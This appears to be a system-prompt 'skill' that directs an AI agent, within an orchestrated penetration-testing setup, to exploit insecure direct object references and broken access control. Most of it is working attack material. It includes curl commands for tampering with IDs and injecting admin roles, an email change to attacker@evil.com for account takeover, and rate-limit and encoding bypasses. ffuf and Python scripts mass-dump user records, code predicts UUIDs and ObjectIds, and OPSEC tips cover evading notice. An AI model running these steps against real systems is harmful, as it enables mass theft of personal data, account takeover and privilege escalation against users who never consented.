IDOR / Broken Access Control

You are helping a penetration tester exploit Insecure Direct Object Reference
and broken access control vulnerabilities. The target application uses
user-controllable identifiers (IDs, UUIDs, filenames, etc.) to reference
objects without properly verifying the requesting user's authorization. The
goal is to access, modify, or delete objects belonging to other users, or
escalate privileges. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [idor] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with
  descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

Do NOT write to engagement/activity.md, engagement/findings.md, or
engagement state. The orchestrator maintains these files. Report all findings
in your return summary.

State Management

Call get_state_summary() from the state-reader MCP server to read current
engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Do NOT write engagement state. When your work is complete, report all
findings clearly in your return summary. The orchestrator parses your summary
and records state changes. Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Authenticated session (at least one valid low-privilege account)
• A second account at the same privilege level (for horizontal testing) or
  knowledge of a higher-privilege user's ID (for vertical testing)
• Proxy configured (Burp Suite with Autorize or AuthMatrix recommended)
• Target endpoint that references objects by ID in URL path, query parameter,
  POST body, or header

Step 1: Assess

If not already provided, determine:

1. ID format — what type of identifier is used?

Format	Example	Predictability
Sequential integer	123, 456	Trivially enumerable
UUID v1	95f6e264-bb00-11ec-8833-00155d01ef00	Timestamp + machine — partially predictable
UUID v4	550e8400-e29b-41d4-a716-446655440000	Random — not enumerable without leak
MongoDB ObjectId	5ae9b90a2c144b9def01ec37	Timestamp + counter — predictable if you know creation time
Base64-encoded	MTIz (decodes to 123)	Decode first, then assess inner format
Hash (MD5/SHA1)	098f6bcd4621d373cade4e832627b4f6	Predictable if input is known (e.g., MD5 of username)
Slug	john-doe, my-post-title	Guessable with wordlists

2. Injection point — where does the ID appear?

   • URL path: /api/users/123/profile
   • Query parameter: /api/profile?user_id=123
   • POST/PUT body: {"user_id": 123}
   • Header: X-User-Id: 123
   • Cookie: user=123

3. Authorization mechanism — session cookie, JWT, OAuth token, API key?

4. API type — REST, GraphQL, gRPC-Web, SOAP?

Step 2: Horizontal Access Control Testing

Test whether User A can access User B's objects (same privilege level).

Basic Parameter Tampering

# Get your own resource (baseline — note response structure)
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/YOUR_ID/profile"

# Try another user's ID (change ONLY the ID, keep your auth)
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/OTHER_ID/profile"

Compare responses:

• 200 with other user's data → confirmed IDOR
• 200 with your own data → server ignores the ID parameter (uses session)
• 403/401 → access control is enforced
• 404 → ID doesn't exist or is hidden

Sequential ID Enumeration

# Test IDs around your own
# If your ID is 1337, try 1336, 1338, 1, 2, etc.
for id in 1336 1338 1 2 100 1000; do
  echo -n "ID $id: "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Cookie: session=YOUR_SESSION" \
    "https://TARGET/api/users/$id/profile"
  echo
done

Test All HTTP Methods

# The GET might be protected but PUT/DELETE might not be
for method in GET POST PUT PATCH DELETE; do
  echo -n "$method: "
  curl -s -o /dev/null -w "%{http_code}" -X $method \
    -H "Cookie: session=YOUR_SESSION" \
    "https://TARGET/api/users/OTHER_ID/profile"
  echo
done

State-Changing IDOR (Write Operations)

# Try modifying another user's data
curl -s -X PUT -H "Cookie: session=YOUR_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"email": "attacker@evil.com"}' \
  "https://TARGET/api/users/OTHER_ID/profile"

# Try deleting another user's resource
curl -s -X DELETE -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/OTHER_ID/documents/456"

Step 3: Vertical Access Control Testing

Test whether a low-privilege user can access admin or higher-privilege
functionality.

Role/Permission Field Injection

# If the API returns a role field, try including it in an update request
curl -s -X PUT -H "Cookie: session=LOW_PRIV_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"role": "admin"}' \
  "https://TARGET/api/users/YOUR_ID/profile"

# Variants
-d '{"is_admin": true}'
-d '{"role_id": 1}'
-d '{"permissions": ["admin", "write", "delete"]}'
-d '{"group": "administrators"}'

Admin Endpoint Access

# Try accessing admin endpoints with a regular user session
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/admin/users"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/admin/dashboard"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/internal/config"

# Try alternate API versions (often less secure)
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/v1/admin/users"
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/mobile/admin/users"

Function-Level Access Control

# Actions restricted in UI but not in API
# Export all users (admin function)
curl -s -H "Cookie: session=LOW_PRIV_SESSION" \
  "https://TARGET/api/users/export?format=csv"

# Approve/reject actions
curl -s -X POST -H "Cookie: session=LOW_PRIV_SESSION" \
  -H "Content-Type: application/json" \
  -d '{"status": "approved"}' \
  "https://TARGET/api/requests/789/approve"

Step 4: API-Specific Patterns

GraphQL IDOR

# Query another user's data by ID
query {
  user(id: "OTHER_ID") {
    name
    email
    phone
    ssn
  }
}

# Use aliases to enumerate multiple IDs in one request (bypasses rate limiting)
query {
  u1: user(id: "1") { email }
  u2: user(id: "2") { email }
  u3: user(id: "3") { email }
  u4: user(id: "4") { email }
  u5: user(id: "5") { email }
}

# Discover queryable types via introspection
query {
  __schema {
    queryType {
      fields {
        name
        args { name type { name kind } }
      }
    }
  }
}

Batch/Bulk Endpoints

Batch endpoints often bypass per-object authorization checks:

# Single request for multiple objects
curl -s -X POST -H "Cookie: session=YOUR_SESSION" \
  -H "Content-Type: application/json" \
  -d '[
    {"method": "GET", "path": "/api/users/1"},
    {"method": "GET", "path": "/api/users/2"},
    {"method": "GET", "path": "/api/users/3"}
  ]' \
  "https://TARGET/api/batch"

# Bulk export (if it exists)
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users?ids=1,2,3,4,5"

File/Document Download IDOR

# Direct file reference
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/download?file_id=OTHER_FILE_ID"

# Path-based file reference
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/files/OTHER_USER/document.pdf"

# Signed URL with weak signature
curl -s "https://TARGET/files/document.pdf?token=WEAK_TOKEN&user=OTHER_ID"

Step 5: Bypass Techniques

When basic parameter tampering fails, try these bypasses.

Encoding Variations

# Base64-encoded ID
echo -n "OTHER_ID" | base64
# Use the encoded value: /api/users/T1RIRVJfSUQ=

# URL encoding
/api/users/%31%32%33  # URL-encoded "123"

# Double URL encoding
/api/users/%2531%2532%2533

# Unicode normalization (email-based IDs)
# victim@gmail.com -> v%C3%ADctim@gmail.com (may normalize to same)

# Hex encoding
/api/users/0x7b  # hex for 123

# Padded values
/api/users/00123
/api/users/123.0
/api/users/123%00

Wrapped Object / Array Injection

# Original: {"id": 123}
# Try array:
{"id": [123]}

# Try string instead of int:
{"id": "123"}

# Try nested object:
{"id": {"$eq": 123}}

# Try XML if JSON fails:
curl -s -X POST -H "Content-Type: application/xml" \
  -d '<request><id>OTHER_ID</id></request>' \
  "https://TARGET/api/resource"

Parameter Pollution

# Duplicate parameter (framework-dependent — some take first, some take last)
/api/resource?user_id=YOUR_ID&user_id=OTHER_ID

# Parameter in URL + body
GET /api/resource?user_id=YOUR_ID
POST body: user_id=OTHER_ID

# Parameter in different formats
/api/resource?user_id=YOUR_ID&user_id[]=OTHER_ID

Method Override

# X-HTTP-Method-Override
curl -s -X POST -H "X-HTTP-Method-Override: PUT" \
  -H "Cookie: session=YOUR_SESSION" \
  -d '{"role": "admin"}' \
  "https://TARGET/api/users/YOUR_ID"

# Other override headers
-H "X-Method-Override: DELETE"
-H "X-Original-Method: PATCH"

Wildcard / Mass Access

# Some APIs accept wildcards
curl -s -H "Cookie: session=YOUR_SESSION" \
  "https://TARGET/api/users/*/profile"
curl -s "https://TARGET/api/users?id=*"
curl -s "https://TARGET/api/files?name=*.pdf"

Step 6: Automated Enumeration

Once IDOR is confirmed, automate data extraction.

ffuf for Sequential IDs

# Enumerate user profiles (sequential integer IDs)
ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  -H "Cookie: session=YOUR_SESSION" \
  -w <(seq 1 10000) \
  -mc 200 \
  -o idor-enum.json

# Filter by response size to remove empty/error responses
ffuf -u "https://TARGET/api/users/FUZZ/profile" \
  -H "Cookie: session=YOUR_SESSION" \
  -w <(seq 1 10000) \
  -mc 200 -fs 0 \
  -rate 50

Python Extraction Script

import requests
import json
import time

url = "https://TARGET/api/users/{}/profile"
cookies = {"session": "YOUR_SESSION"}
results = []

for uid in range(1, 10001):
    r = requests.get(url.format(uid), cookies=cookies)
    if r.status_code == 200:
        data = r.json()
        results.append(data)
        print(f"[+] ID {uid}: {data.get('email', 'no email')}")
    time.sleep(0.1)  # rate limiting

with open("idor-dump.json", "w") as f:
    json.dump(results, f, indent=2)
print(f"[*] Extracted {len(results)} records")

UUID v1 Prediction

If UUIDs are v1 (timestamp-based), predict nearby IDs:

import uuid
from datetime import datetime, timedelta

# Known UUID v1
known = uuid.UUID("95f6e264-bb00-11ec-8833-00155d01ef00")

# Extract timestamp and node
ts = known.time  # 100-nanosecond intervals since Oct 15, 1582
node = known.node
clock_seq = known.clock_seq

# Generate UUIDs for nearby timestamps (±1 hour in 1-second increments)
for delta in range(-3600, 3601):
    new_time = ts + (delta * 10_000_000)  # convert seconds to 100ns intervals
    candidate = uuid.UUID(fields=(
        new_time & 0xFFFFFFFF,           # time_low
        (new_time >> 32) & 0xFFFF,       # time_mid
        (new_time >> 48) & 0x0FFF | 0x1000,  # time_hi_version (v1)
        clock_seq >> 8,
        clock_seq & 0xFF,
        node
    ))
    print(candidate)

MongoDB ObjectId Prediction

import struct
import time

# Known ObjectId: 5ae9b90a2c144b9def01ec37
known_hex = "5ae9b90a2c144b9def01ec37"
ts = int(known_hex[:8], 16)          # first 4 bytes = unix timestamp
machine_pid = known_hex[8:18]         # next 5 bytes = machine + PID
counter = int(known_hex[18:], 16)     # last 3 bytes = counter

# Generate nearby ObjectIds (same second, increment counter)
for i in range(-100, 101):
    new_counter = (counter + i) & 0xFFFFFF
    candidate = f"{ts:08x}{machine_pid}{new_counter:06x}"
    print(candidate)

Step 7: Escalate or Pivot

After confirming IDOR:

• User data accessed (PII, emails, tokens): Assess scope — enumerate full
  range to determine total records exposed. If tokens or session IDs found,
  route to oauth-attacks or attempt session hijacking.
• Credentials or API keys found: Try credential reuse across services.
  Update engagement/state.md with new credentials.
• Write IDOR confirmed (can modify other users): Test account takeover —
  change email, reset password, modify roles. Route to csrf if
  state-changing requests lack anti-CSRF tokens.
• CORS misconfiguration found on same endpoint: Route to
  cors-misconfiguration — CORS + IDOR = cross-origin mass data exfiltration.
• File download IDOR: Check for sensitive files (backups, configs, keys).
  Route to lfi if path traversal is possible in the file parameter.
• Admin access achieved: Route to privilege escalation skills or explore
  admin functionality for further vulnerabilities.

Update engagement/state.md with any new credentials, access, vulns, or pivot
paths discovered.

When routing, pass along: confirmed IDOR endpoint, ID format, working bypass
technique, and scope of exposed data.

Stall Detection

If you have spent 5 or more tool-calling rounds on the same failure with
no meaningful progress — same error, no new information, no change in output
— stop.

What counts as progress:

• Trying a variant or alternative documented in this skill
• Adjusting syntax, flags, or parameters per the Troubleshooting section
• Gaining new diagnostic information (different error, partial success)

What does NOT count as progress:

• Writing custom exploit code not provided in this skill
• Inventing workarounds using techniques from other domains
• Retrying the same command with trivially different input
• Compiling or transferring tools not mentioned in this skill

If you find yourself writing code that isn't in this skill, you have left
methodology. That is a stall.

Do not loop. Work through failures systematically:

1. Try each variant or alternative once
2. Check the Troubleshooting section for known fixes
3. If nothing works after 5 rounds, you are stalled

When stalled, return to the orchestrator immediately with:

• What was attempted (commands, variants, alternatives tried)
• What failed and why (error messages, empty responses, timeouts)
• Assessment: blocked (permanent — config, patched, missing prereq) or
  retry-later (may work with different context, creds, or access)

When stalled: Tell the user you're stalled, present what was tried, and
recommend the next best path. Return findings to the orchestrator — it will
decide whether to revisit with new context or route elsewhere.

OPSEC Notes

• Basic IDOR testing (changing one ID) is indistinguishable from normal browsing
• High-volume enumeration (scanning ID ranges) generates many requests — use
  rate limiting (-rate 50 in ffuf, time.sleep() in scripts)
• GraphQL alias batching sends many queries in one request — less visible in
  access logs but may trigger WAF rules on response size
• Write operations (PUT/DELETE to other users' resources) may trigger alerts —
  test on non-production accounts first if possible
• Autorize/AuthMatrix Burp extensions passively test IDOR as you browse —
  lowest OPSEC impact

Troubleshooting

All Requests Return Your Own Data

The server uses the session/token to determine the user, ignoring the ID
parameter entirely. This is actually secure design. Try:

• Testing on a different endpoint that does use the ID
• Checking if the ID is used in a different parameter name
• Looking for batch/export endpoints that may handle IDs differently

403 on Every Tampered Request

Access control is enforced per-object. Try:

• Different HTTP methods (GET blocked, but PUT might work)
• Method override headers (X-HTTP-Method-Override)
• Different API versions (/v1/ vs /v2/ vs /mobile/)
• Different Content-Type (JSON vs XML vs form-encoded)
• Parameter pollution (duplicate the ID parameter)
• Encoding variations (base64, URL encoding, hex)

UUIDs Are Random (v4) and Can't Be Enumerated

• Check for UUID leakage in other responses, error messages, or public pages
• Check client-side JavaScript for hardcoded or leaked UUIDs
• Check browser localStorage/sessionStorage for cached IDs
• Look for endpoints that list or search objects (may return UUIDs)
• Try the null UUID: 00000000-0000-0000-0000-000000000000

Rate Limiting Blocks Enumeration

• Use GraphQL aliases to batch many IDs per request
• Slow down requests (-rate 10 in ffuf)
• Rotate source IPs if authorized (multiple VPN endpoints)
• Check if rate limiting is per-IP, per-session, or per-endpoint
• Try batch/bulk API endpoints that accept multiple IDs

Can Access Data but Can't Prove Impact

• Focus on PII (names, emails, phone numbers, addresses)
• Look for financial data (invoices, payment info, order history)
• Check for authentication tokens that enable account takeover
• Calculate total records exposed (scan the full ID range)
• Document the business impact (regulatory, reputational, financial)